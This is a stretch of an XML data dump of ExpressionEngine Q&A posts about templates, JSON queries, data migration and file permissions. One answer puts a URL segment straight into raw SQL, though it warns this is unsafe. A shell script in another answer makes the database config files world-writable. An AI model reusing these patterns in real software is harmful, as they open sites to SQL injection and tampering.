brevity.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="156" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2013-11-25T08:57:39.133" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17098" PostTypeId="2" ParentId="17095" CreationDate="2013-11-25T09:05:14.803" Score="2" Body="&lt;p&gt;Visitor channel fields can be mapped to native EE member fields when you prefix them with &quot;member_&quot; and the field_name has to match &lt;a href=&quot;http://ee-zoo.com/docs/visitor/tutorial/working-with-native-member-fields.html&quot; rel=&quot;nofollow&quot;&gt;http://ee-zoo.com/docs/visitor/tutorial/working-with-native-member-fields.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="749" LastActivityDate="2013-11-25T09:05:14.803" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17099" PostTypeId="2" ParentId="17019" CreationDate="2013-11-25T09:09:38.647" Score="0" Body="&lt;p&gt;Bear with me, I formulated this for a recent install, it might be overkill.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First up, grab a pipe delimited stash of all your categories&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;master_cat_list&quot; parse_tags=&quot;yes&quot;}&#xA;{exp:gwcode_categories backspace=&quot;1&quot;}{cat_url_title}|{/exp:gwcode_categories}&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In you template, test the segments&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {exp:stash:parse parse_vars=&quot;yes&quot;}&#xA; {exp:switchee variable=&quot;{segment_2}&quot; parse=&quot;inward&quot;}&#xA;  {case value=&quot;&quot;}&#xA;  // Nothing in segment 2&#xA;  // SO... test against stashed master list, to ensure valid cat_url&#xA;  {switchee variable=&quot;{segment_1}&quot;}&#xA;    {case value=&quot;{stash:master_cat_list}&quot;}&#xA;      {snippet:load:exp:channel:data}&#xA;    {/case}&#xA;    {case default=&quot;yes&quot;}&#xA;      {redirect=&quot;404&quot;}&#xA;    {/case}&#xA;  {/switchee}&#xA;  {/case}&#xA;&#xA;  {case default=&quot;yes&quot;}&#xA;  // Something in segment 2, spit out default&#xA;  {exp:channel:entries...}&#xA;  ...&#xA;  // Use {if no_results} to ensure segment_2 is valid entry&#xA;  {/exp:channel:entries}&#xA;  {/case}&#xA;  {case value=&quot;&quot;}&#xA;  {/case}&#xA;{/exp:switchee}&#xA;{/exp:stash:parse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That's it in a nutshell. It's not code perfect but may be of assistance.&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2013-11-25T09:09:38.647" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17100" PostTypeId="1" CreationDate="2013-11-25T09:29:37.913" Score="4" ViewCount="131" Body="&lt;p&gt;Any websites I have built before using Expression Engine have been from scratch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of my existing clients would like their site rebuilt as its 4 years old. I am planning on using another domain to copy the existing site over and upgrade it from 2.5.x to 2.7.x and then create a new design and edit a few custom fields. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue is, this is a high profile e-commerce site that is in 24 hour use. New members, new orders and new products are constantly being added. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I build the new site on a copy of the site, after I finish the new design, and a few amendments to the system (perhaps a few custom field changes) I am wondering how I should go about getting the new data back into the new system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice on this matter would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="822" LastActivityDate="2013-11-25T23:36:34.810" Title="Site Rebuild / Moving existing data" Tags="|channel-entries|database|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17102" PostTypeId="1" CreationDate="2013-11-25T13:54:16.013" Score="2" ViewCount="173" Body="&lt;p&gt;I need to be able to do pass the entry_id of the page being viewed into a json file to build a query.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I currently have a page setup that has a Playa field. I need to have a JSON file that will get the IDs of all of the Playa children so that I can pass those values to a map on the same page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the page, I have the following;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list name=&quot;trail&quot; parse_tags=&quot;yes&quot; parse_depth=&quot;3&quot;}  &#xA;    {exp:channel:entries channel=&quot;{channel}&quot; status=&quot;open&quot; limit=&quot;1&quot; require_entry=&quot;yes&quot;}&#xA;&#xA;        {stash:trail_title}{title}{/stash:trail_title}&#xA;&#xA;    {/exp:channel:entries}&#xA;{/exp:stash:set_list}&#xA;&#xA;&#xA;{exp:stash:get_list name=&quot;trail&quot;}&#xA;&#xA;    &amp;lt;h2&amp;gt;About the {trail_title}&amp;lt;/h2&amp;gt;&#xA;&#xA;{/exp:stash:get_list}&#xA;&#xA;&amp;lt;div class=&quot;mapwithborders&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;listing_map&quot; data-api-url=&quot;trail-json&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My 'trail-json.js' template has the following (but as you can see there is a hardcoded parent_entry_id;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT child_entry_id AS entry_ids FROM exp_playa_relationships WHERE parent_entry_id = 2422&quot;}&#xA;[&#xA;{exp:playa:children&#xA;    entry_id=&quot;{entry_ids}&quot;&#xA;    field=&quot;trail_spots&quot;&#xA;    channel=&quot;things-to-do&quot;&#xA;    status=&quot;Open&quot;&#xA;    backspace=&quot;1&quot;&#xA;}&#xA;    {&#xA;        &quot;entry_id&quot;: &quot;{entry_id}&quot;,&#xA;        &quot;title&quot;: &quot;{title}&quot;,&#xA;        &quot;latitude&quot;: &quot;{thingtodo_latitude}&quot;,&#xA;        &quot;longitude&quot;: &quot;{thingtodo_longitude}&quot;&#xA;    },{/exp:playa:children}&#xA;]&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would be grateful if someone could point me in the right direction to replace the hard-coded parent_entry_id.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="466" LastActivityDate="2013-12-25T22:35:48.003" Title="Passing entry_id to json to get Playa children" Tags="|playa|query|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17103" PostTypeId="1" CreationDate="2013-11-25T13:59:12.653" Score="1" ViewCount="27" Body="&lt;p&gt;We are using Matrix version 2.5.10 (Expression Engine v2.5.5) and, when the field is moved up or down, all the formatting in the text disappears (happens only in the IE versions 9 or earlier). Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="2406" LastActivityDate="2013-11-25T13:59:12.653" Title="Text format disappears after moving Matrix field in IE9" Tags="|matrix|text-formatting|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17104" PostTypeId="1" CreationDate="2013-11-25T14:05:05.563" Score="0" ViewCount="54" Body="&lt;p&gt;Does anyone know what this means? I get this when I submit my form ... ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nOMU3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1068" LastActivityDate="2013-11-26T13:33:00.177" Title="Solspace FreeForm Error on Submit" Tags="|solspace|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17106" PostTypeId="1" AcceptedAnswerId="17107" CreationDate="2013-11-25T15:50:03.217" Score="0" ViewCount="51" Body="&lt;p&gt;I began building a channel field form to enter all the data (as seen in the attached image), the form seems cumbersome and lengthy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I am thinking about creating my own fieldtype, so I have more control over the layout. It will basically be its own form since it will contain so many fields within it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There will be other fields in this channel field group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you see any shortcomings to building a fieldtype that is essentially a form within itself?&lt;img src=&quot;https://i.stack.imgur.com/gGZfP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13" LastActivityDate="2013-11-25T15:55:34.893" Title="fieldtype development advice" Tags="|fieldtype|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17107" PostTypeId="2" ParentId="17106" CreationDate="2013-11-25T15:55:34.893" Score="3" Body="&lt;p&gt;I built a fieldtype that may do what you want without your having to build one from scratch; it's called ALT Multifield. &lt;a href=&quot;http://devot-ee.com/add-ons/alt-multifield&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/alt-multifield&lt;/a&gt; You can create a custom block of inputs and it all gets stored in one column. Hit me up if you have questions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I've actually got some significant improvements coming to it soon, but I can't guarantee a timeframe.)&lt;/p&gt;&#xA;" OwnerUserId="139" LastActivityDate="2013-11-25T15:55:34.893" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17108" PostTypeId="2" ParentId="17089" CreationDate="2013-11-25T16:14:06.720" Score="2" Body="&lt;p&gt;Change Api2 to Api3 is almost the same as create  new ft.&#xA;From all exist geo add-ons for EE 1, you can try Geotagger (possible you need to speak with &lt;a href=&quot;http://mightybigrobot.com/&quot; rel=&quot;nofollow&quot;&gt;Mightybigrobot&lt;/a&gt;). I don't have last version, but I believe that they was able to which to API3. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If they have this version, you just will needed to split data from current SL Google Maps to Geotagger fields (they have separate field for lat &amp;amp; long). Something like &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE exp_weblog_data SET you_new_field_lat =  SUBSTRING_INDEX(you_old_field,',', 1), you_new_field_lng =  SUBSTRING_INDEX(you_old_field,',', 2)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Plus you will need to make small change in frontend using any of exist gmaps jquery plugins.&lt;/p&gt;&#xA;" OwnerUserId="932" LastEditorUserId="932" LastEditDate="2013-11-25T16:53:14.217" LastActivityDate="2013-11-25T16:53:14.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17109" PostTypeId="2" ParentId="17019" CreationDate="2013-11-25T16:27:21.717" Score="1" Body="&lt;p&gt;First, let me say that I don't think it's a good idea to use the &lt;code&gt;segment_1&lt;/code&gt; to both &lt;code&gt;username&lt;/code&gt; and &lt;code&gt;category_url_title&lt;/code&gt;. What if both matches? If you want to keep the &lt;code&gt;URL&lt;/code&gt; short, you can use a single character segment, like &lt;code&gt;c&lt;/code&gt; or &lt;code&gt;m&lt;/code&gt; for one of the cases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would show you how to do this using &lt;a href=&quot;https://github.com/croxton/Switchee/&quot; rel=&quot;nofollow&quot;&gt;switchee&lt;/a&gt; and the homepage template, but you said, in your update, that you don't want to use this template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, my suggestion, is to map this conditions to the &lt;a href=&quot;https://github.com/rsanchez/template_routes/&quot; rel=&quot;nofollow&quot;&gt;Template Routes&lt;/a&gt; add-on, by Rob Sanchez. Unfortunately, &lt;code&gt;username&lt;/code&gt; isn't one of its wildcards.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2013-11-25T16:27:21.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17110" PostTypeId="2" ParentId="17102" CreationDate="2013-11-25T16:57:23.430" Score="1" Body="&lt;p&gt;One easy way to solve this is to just use a segment variable. You can use segment_2 to hold whatever value you want to use for your query. So assuming you wanted to find data for the parent entry #2422, you'd load your JSON template with a URL of &lt;code&gt;/trail-json/2422&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your page template where you're setting the URL for your JSON you'd do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;listing_map&quot; data-api-url=&quot;trail-json/2422&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Replace &quot;2422&quot; with a variable as appropriate, if I understand your setup it would be &lt;code&gt;{entry_id}&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in your trail-json.js template where have have hard-coded the parent_entry_id in your query you would instead do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;WHERE parent_entry_id = {segment_2}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Important note:&lt;/strong&gt; the Query module isn't safe to use with segment variables. So you should switch to using the &lt;a href=&quot;http://devot-ee.com/add-ons/activerecord&quot; rel=&quot;nofollow&quot;&gt;Active Record&lt;/a&gt; plugin instead of the Query module if you decide to use this approach.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2013-11-25T21:43:56.190" LastActivityDate="2013-11-25T21:43:56.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17111" PostTypeId="2" ParentId="17019" CreationDate="2013-11-25T16:57:49.980" Score="0" Body="&lt;p&gt;Not easy but Switchee to the resque (and low seg2cat):&lt;br&gt;&#xA;Basic idea:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:switchee variable=&quot;{segment_1}/{segment_2}&quot; parse=&quot;inward&quot;}&#xA;  {case value=&quot;/|#P(\d+)/$#&quot;}&#xA;    // index: empty or paginated list&#xA;  {/case}&#xA;  {case default=&quot;yes&quot;}&#xA;    // other&#xA;  {/case}&#xA;{/exp:switchee}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See this older thread:&lt;br&gt;&#xA;&lt;a href=&quot;http://devot-ee.com/add-ons/support/switchee/viewthread/2919&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/support/switchee/viewthread/2919&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="155" LastActivityDate="2013-11-25T16:57:49.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17112" PostTypeId="1" CreationDate="2013-11-21T13:50:17.013" Score="1" ViewCount="85" Body="&lt;p&gt;Is it possible (likely through an extension) to create a promo code that only applies to a specific product? We would like to give a discount on a single product, but the discount, if applied to the entire cart, could render some items in the store completely free.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone done anything like this? If so, can you give us a sense of the logic/approach for the extension?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Greg&lt;/p&gt;&#xA;" OwnerUserId="2361" OwnerDisplayName="Gregory Maher" LastActivityDate="2014-04-24T20:18:52.413" Title="Create a product-specific promo code" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17113" PostTypeId="2" ParentId="17112" CreationDate="2013-11-23T01:14:06.983" Score="1" Body="&lt;p&gt;Yes, this is possible in Store 2. You can create &lt;a href=&quot;https://exp-resso.com/docs/control_panel_discounts.html&quot; rel=&quot;nofollow&quot;&gt;discounts&lt;/a&gt; with promo codes, which only apply to individual products or product categories.&lt;/p&gt;&#xA;" OwnerUserId="150" OwnerDisplayName="Adrian Macneil" LastActivityDate="2013-11-23T01:14:06.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17114" PostTypeId="1" AcceptedAnswerId="17115" CreationDate="2013-11-25T18:27:24.453" Score="0" ViewCount="311" Body="&lt;p&gt;So I made the mistake of making everything 777 on my local machine. I then zipped everything, uploaded the file via FTP to my server, then used SSH to unzip it. Now everything is 777, which is obviously bad.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I figured I could do something like chmod 644 * -R, then 666 and 777 on the things that needed it. However doing 644 gives me permission denied (755 works, but I assume that is not very safe either, or?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What should the file permissions of all files (except the 666/777 ones) be? And is there a fast way of setting them?&lt;/p&gt;&#xA;" OwnerUserId="1525" LastActivityDate="2013-11-25T18:37:27.327" Title="Secure expressionengine file permissions after ssh upload" Tags="|permissions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17115" PostTypeId="2" ParentId="17114" CreationDate="2013-11-25T18:37:27.327" Score="3" Body="&lt;p&gt;You can make batch file for this - ee_permissions.sh&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/bin/bash&#xA;&#xA;# Find location of this script.&#xA;# This ensures that only files in the directory in&#xA;# which this script exists (recursively) are modified.&#xA;DIR=&quot;$( cd &quot;$( dirname &quot;${BASH_SOURCE[0]}&quot; )&quot; &amp;amp;&amp;amp; pwd )&quot;&#xA;&#xA;# Set what the name of your expressionengine folders are.&#xA;SYSTEM=&quot;system&quot;&#xA;IMAGES_DIR=&quot;public_html/images&quot;&#xA;UPLOADS_DIR=&quot;public_html/files&quot;&#xA;&#xA;# Optionally ensure correct ownership on per environment basis.&#xA;#if [ &quot;$DIR&quot; = &quot;/path/to/project/&quot; ]; then&#xA;#   chown -R http.http &quot;$DIR&quot;&#xA;#fi&#xA;&#xA;# Expressionengine specific permissions.&#xA;find &quot;$DIR&quot; -type d -print0 | xargs -0 chmod 0755&#xA;find &quot;$DIR&quot; -type f -print0 | xargs -0 chmod 0644&#xA;find &quot;$DIR/$IMAGES_DIR/&quot; -type d -print0 | xargs -0 chmod -R go+w&#xA;find &quot;$DIR/$UPLOADS_DIR/&quot; -type d -print0 | xargs -0 chmod -R go+w&#xA;chmod -R go+w &quot;$DIR/templates&quot;&#xA;chmod -R go+w &quot;$DIR/$SYSTEM/expressionengine/cache&quot;&#xA;chmod 0666 &quot;$DIR/$SYSTEM/expressionengine/config/config.php&quot;&#xA;chmod 0666 &quot;$DIR/$SYSTEM/expressionengine/config/database.php&quot;&#xA;&#xA;# Permissions specific to the sitemap generator&#xA;# from http://www.xml-sitemaps.com/.&#xA;#chmod -R 0777 &quot;$DIR/public_html/generator/data&quot;&#xA;#chmod 0666 &quot;$DIR/public_html/sitemap.xml&quot;&#xA;#chmod 0666 &quot;$DIR/public_html/ror.xml&quot;&#xA;&#xA;# If laxative is being used, preserve executability&#xA;if [ -e &quot;$DIR/.db/lax&quot; ]; then&#xA;    chmod 0700 &quot;$DIR/.db/lax&quot;&#xA;fi&#xA;&#xA;# Make sure other shell scripts are executable too.&#xA;find &quot;$DIR&quot; -type f -name &quot;*.sh&quot; -print0 | xargs -0 chmod 700&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;another example of &lt;a href=&quot;http://shapeshed.com/expressionengine_permissions_shell_script/&quot; rel=&quot;nofollow&quot;&gt;shell_script&lt;/a&gt; for the same.&lt;/p&gt;&#xA;" OwnerUserId="932" LastActivityDate="2013-11-25T18:37:27.327" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17116" PostTypeId="2" ParentId="13785" CreationDate="2013-11-25T18:48:05.450" Score="2" Body="&lt;p&gt;So I figured it out by &quot;hacking&quot; the Pagination library in the CodeIgnitor core.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Upside: it works&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Downside: need to re-apply hack after EE updates&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If someone knows of a better solution I'd love to know!! Especially being as I'm a novice in PHP I don't know if this is the preferred way to accomplish this. With that said, here's what I did to overwrite the pagination URL's when using a CDN address for the {site_url}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to &lt;code&gt;system &amp;gt; codeignitor &amp;gt; system &amp;gt; libraries &amp;gt; Pagination.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then on lines 242 - 254 (on version 2.4.0 of EE anyway) you would replace this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($this-&amp;gt;CI-&amp;gt;config-&amp;gt;item('enable_query_strings') === TRUE OR $this-&amp;gt;page_query_string === TRUE)&#xA;{&#xA;    $this-&amp;gt;base_url = rtrim($this-&amp;gt;base_url).'&amp;amp;amp;'.$this-&amp;gt;query_string_segment.'=';&#xA;}&#xA;else&#xA;{&#xA;    $this-&amp;gt;base_url = rtrim($this-&amp;gt;base_url, '/') .'/';&#xA;}&#xA;&#xA;// And here we go...&#xA;$link_array = array();&#xA;&#xA;$first_url = ($this-&amp;gt;first_url == '') ? $this-&amp;gt;base_url : $this-&amp;gt;first_url;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($this-&amp;gt;CI-&amp;gt;config-&amp;gt;item('enable_query_strings') === TRUE OR $this-&amp;gt;page_query_string === TRUE)&#xA;{&#xA;    $this-&amp;gt;base_url = str_replace(&quot;cdn&quot;,&quot;www&quot;,(rtrim($this-&amp;gt;base_url).'&amp;amp;amp;'.$this-&amp;gt;query_string_segment.'='));&#xA;}&#xA;else&#xA;{&#xA;    $this-&amp;gt;base_url = str_replace(&quot;cdn&quot;,&quot;www&quot;,(rtrim($this-&amp;gt;base_url, '/') .'/'));&#xA;}&#xA;&#xA;// And here we go...&#xA;$link_array = array();&#xA;&#xA;$first_url = str_replace(&quot;cdn&quot;,&quot;www&quot;,(($this-&amp;gt;first_url == '') ? $this-&amp;gt;base_url : $this-&amp;gt;first_url));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2062" LastActivityDate="2013-11-25T18:48:05.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17117" PostTypeId="1" AcceptedAnswerId="17126" CreationDate="2013-11-25T19:29:07.660" Score="2" ViewCount="70" Body="&lt;p&gt;I'm trying to edit an entry and the page seems to simply refresh, not displaying the usual submitted page that shows made changes etc. I cannot figure out what could be causing this. Hopefully the community will, thanks in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm running EE 2.2.2 hopefully I don't have to update &lt;/p&gt;&#xA;" OwnerUserId="2400" LastActivityDate="2013-11-26T03:58:30.583" Title="Editing an Entry does not update" Tags="|entry|saving|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17118" PostTypeId="1" CreationDate="2013-11-25T20:29:23.607" Score="2" ViewCount="82" Body="&lt;p&gt;My site has many entries, each having several categories assigned to them. Using Dynamic Parameters, I'd like to allow users to filter the entries to show only those belonging to certain categories, perhaps by selecting checkboxes. That part I know how to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The categories parameter in the Channel Entries tag lets you indicate that you want to show entries with ANY of the selected categories (category=&quot;2|45|4|9&quot;) or ALL the selected categories (category=&quot;3&amp;amp;7&amp;amp;8&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to let users make the selection of ANY or ALL when they interact with the Dynamic Parameters form? So effectively, they could say either &quot;Show me entries belonging to ANY of the categories I've selected&quot; or &quot;Show me entries belonging to ALL of the categories I've selected&quot;?&lt;/p&gt;&#xA;" OwnerUserId="1575" LastActivityDate="2013-11-25T22:35:30.560" Title="How to let users control ANY and ALL for categories using dynamic parameters?" Tags="|categories|dynamic|parameters|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17119" PostTypeId="1" CreationDate="2013-11-25T20:38:58.240" Score="3" ViewCount="162" Body="&lt;p&gt;I'm using EE 2.7.2 with Freeform 4.1.3 and Multiple Site Manager.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Works fine on the main site bit not on the second site. After completing the form takes me to mydomain.com/?ACT=35 and no submission in the CP or notification received.&lt;/p&gt;&#xA;" OwnerUserId="2407" LastActivityDate="2014-04-25T12:29:53.300" Title="Freeform and MSM" Tags="|solspace-freeform|multi-site-manager|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17121" PostTypeId="1" CreationDate="2013-11-25T21:02:24.070" Score="2" ViewCount="98" Body="&lt;p&gt;I'm have trouble upgrading versions. I was going from 2.5.5 to 2.7.2. It's added a table called exp_upgrade_log but now it's getting hung up between 2.7.1 and 2.7.2. This is what it says: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Preparing to update from 2.7.1 to 2.7.2. Awaiting acceptance of license terms.&#xA;Updating to 2.7.2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've just got a blank page on the update wizard. There's nothing happening in this log table either. Any tips on fixing this upgrade process?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this is the url the wizard has left.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/admin.php?C=wizard&amp;amp;M=do_update&amp;amp;language=english&amp;amp;ajax_progress=yes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="49" LastEditorUserId="28" LastEditDate="2013-11-25T23:09:19.813" LastActivityDate="2013-11-25T23:10:10.787" Title="Upgrading from 2.7.1 to 2.7.2" Tags="|ee2-upgrades|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17122" PostTypeId="2" ParentId="14342" CreationDate="2013-11-25T21:11:48.227" Score="3" Body="&lt;p&gt;This was a bug in Store, where mapped Zoo Visitor member fields were correctly saved after placing an order, but they were not loaded for new carts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This has been fixed in Store 2.1.0:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Fixed mapped Zoo Visitor member fields not being loaded for new orders&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://exp-resso.com/docs/release_notes.html#store_210&quot; rel=&quot;nofollow&quot;&gt;https://exp-resso.com/docs/release_notes.html#store_210&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="150" LastEditorUserId="150" LastEditDate="2013-12-15T21:03:24.067" LastActivityDate="2013-12-15T21:03:24.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17123" PostTypeId="1" CreationDate="2013-11-25T22:09:55.953" Score="6" ViewCount="166" Body="&lt;p&gt;Does anyone have an experience setting up ExpressionEngine with a redundant db architecture? Per corporate requirements, I must host the EE site within our corporate server structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best method for setting up redundant data server? I've read other articles that say EE doesn't work in a Master -&gt; Master replication. I've read other articles that say you can use CI to connect to multiple DB but nothing that is tested for EE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any other options?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1563" LastActivityDate="2013-12-26T17:37:07.713" Title="How to Setup Redundant DB for ExpressionEngine?" Tags="|database|settings|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17124" PostTypeId="1" AcceptedAnswerId="17125" CreationDate="2013-11-25T22:15:57.250" Score="2" ViewCount="49" Body="&lt;p&gt;For instance:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Parent is a member&lt;/li&gt;&#xA;&lt;li&gt;Service provider is a member&lt;/li&gt;&#xA;&lt;li&gt;Parents have multiple service providers.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So hopefully, I'm hoping to do a query that looks similar to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;get all service providers from that parent&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2403" LastActivityDate="2013-11-25T22:48:29.383" Title="Can you associate a member to another member?" Tags="|members|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17125" PostTypeId="2" ParentId="17124" CreationDate="2013-11-25T22:23:22.770" Score="7" Body="&lt;p&gt;You could use one of the add-ons that connect member registration to channel entries and then use a relationship field to connect a member to other members. (alternatively, you could use a fieldtype a la select member)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Several member add-ons that connect members to channel entries:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Zoo Visitor &lt;a href=&quot;http://ee-zoo.com/add-ons/visitor/&quot;&gt;http://ee-zoo.com/add-ons/visitor/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Safecracker registration &lt;a href=&quot;http://devot-ee.com/add-ons/safecracker-registration&quot;&gt;http://devot-ee.com/add-ons/safecracker-registration&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Profile:Edit &lt;a href=&quot;http://devot-ee.com/add-ons/profileedit&quot;&gt;http://devot-ee.com/add-ons/profileedit&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="83" LastEditorUserId="155" LastEditDate="2013-11-25T22:48:29.383" LastActivityDate="2013-11-25T22:48:29.383" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
